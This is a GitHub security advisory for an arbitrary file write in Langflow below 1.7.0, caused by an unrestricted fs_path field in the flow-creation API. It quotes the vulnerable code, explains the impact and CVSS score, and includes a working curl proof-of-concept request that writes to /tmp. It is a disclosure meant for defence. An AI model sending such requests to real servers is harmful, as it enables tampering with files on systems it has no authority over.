Skip to content

External Control of File Name or Path in Langflow

High
jordanrfrazier published GHSA-f43r-cc68-gpx4 Dec 19, 2025

Package

pip langflow (pip)

Affected versions

< 1.7.0
< 1.7.0

Patched versions

1.7.0
1.7.0

Description

Vulnerability Description


Vulnerability Overview

If an arbitrary path is specified in the request body's fs_path, the server serializes the Flow object into JSON and creates/overwrites a file at that path. There is no path restriction, normalization, or allowed directory enforcement, so absolute paths (e.g., /etc/poc.txt) are interpreted as is.

Vulnerable Code

  1. It receives the request body (flow), updates the DB, and then passes it to the file-writing sink.

    @router.post("https://github.com/", response_model=FlowRead, status_code=201)
    async def create_flow(
    *,
    session: DbSession,
    flow: FlowCreate,
    current_user: CurrentActiveUser,
    ):
    try:
    db_flow = await _new_flow(session=session, flow=flow, user_id=current_user.id)
    await session.commit()
    await session.refresh(db_flow)
    await _save_flow_to_fs(db_flow)
    except Exception as e:

    @router.post("https://github.com/", response_model=FlowRead, status_code=201)
    async def create_flow(
        *,
        session: DbSession,
        flow: FlowCreate,
        current_user: CurrentActiveUser,
    ):
        try:
            db_flow = await _new_flow(session=session, flow=flow, user_id=current_user.id)
            await session.commit()
            await session.refresh(db_flow)
    
            await _save_flow_to_fs(db_flow)
    
        except Exception as e:
  2. Applies authentication dependency (requires API Key/JWT) when accessing the endpoint.

    CurrentActiveUser = Annotated[User, Depends(get_current_active_user)]
    CurrentActiveMCPUser = Annotated[User, Depends(get_current_active_user_mcp)]
    DbSession = Annotated[AsyncSession, Depends(get_session)]

    CurrentActiveUser = Annotated[User, Depends(get_current_active_user)]
    CurrentActiveMCPUser = Annotated[User, Depends(get_current_active_user_mcp)]
    DbSession = Annotated[AsyncSession, Depends(get_session)]
  3. The client can directly specify the save path, including fs_path.

    ):
    try:
    await _verify_fs_path(flow.fs_path)
    """Create a new flow."""

    ):
        try:
            await _verify_fs_path(flow.fs_path)
    
            """Create a new flow."""
  4. It attempts to create the file (or the file, in the case of a path without a parent) directly without path validation.

    async def _verify_fs_path(path: str | None) -> None:
    if path:
    path_ = Path(path)
    if not await path_.exists():
    await path_.touch()

    async def _verify_fs_path(path: str | None) -> None:
        if path:
            path_ = Path(path)
            if not await path_.exists():
                await path_.touch()
  5. Serializes the Flow object to JSON and writes it to the specified path in "w" mode (overwriting).

    async def _save_flow_to_fs(flow: Flow) -> None:
    if flow.fs_path:
    async with async_open(flow.fs_path, "w") as f:
    try:
    await f.write(flow.model_dump_json())
    except OSError:
    await logger.aexception("Failed to write flow %s to path %s", flow.name, flow.fs_path)

    async def _save_flow_to_fs(flow: Flow) -> None:
        if flow.fs_path:
            async with async_open(flow.fs_path, "w") as f:
                try:
                    await f.write(flow.model_dump_json())
                except OSError:
                    await logger.aexception("Failed to write flow %s to path %s", flow.name, flow.fs_path)

PoC


PoC Description

When an authenticated user passes an arbitrary path in fs_path, the Flow JSON is written to that path. Since /tmp is usually writable, it is easy to reproduce. In a production environment, writing to system-protected directories may fail depending on permissions.

PoC

  • Before Exploit

    image
  • After Exploit

    curl -sS -X POST "http://localhost:7860/api/v1/flows/" \
      -H "Content-Type: application/json" \
      -H "x-api-key: sk-8Kyzf9IQ-UEJ_OtSTaJq4eniMT9_JKgZ7__q8PNkoxc" \
      -d '{"name":"poc-etc","data":{"nodes":[],"edges":[]},"fs_path":"https://github.com/tmp/POC.txt"}'
    image

Impact


  • Authenticated Arbitrary File Write (within server permission scope): Risk of corrupting configuration/log/task files, disrupting application behavior, and tampering with files read by other components.
  • Both absolute and relative paths are allowed, enabling base directory traversal. The risk of overwriting system files increases in environments with root privileges or weak mount/permission settings.
  • The file content is limited to Flow JSON, but the impact is severe if the target file is parsed by a JSON parser or is subject to subsequent processing.
  • In production environments, it is essential to enforce a save root, normalize paths, block symlink traversal, and minimize permissions.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

CVE ID

CVE-2025-68478

Weaknesses

External Control of File Name or Path

The product allows user input to control or influence paths or file names that are used in filesystem operations. Learn more on MITRE.

Credits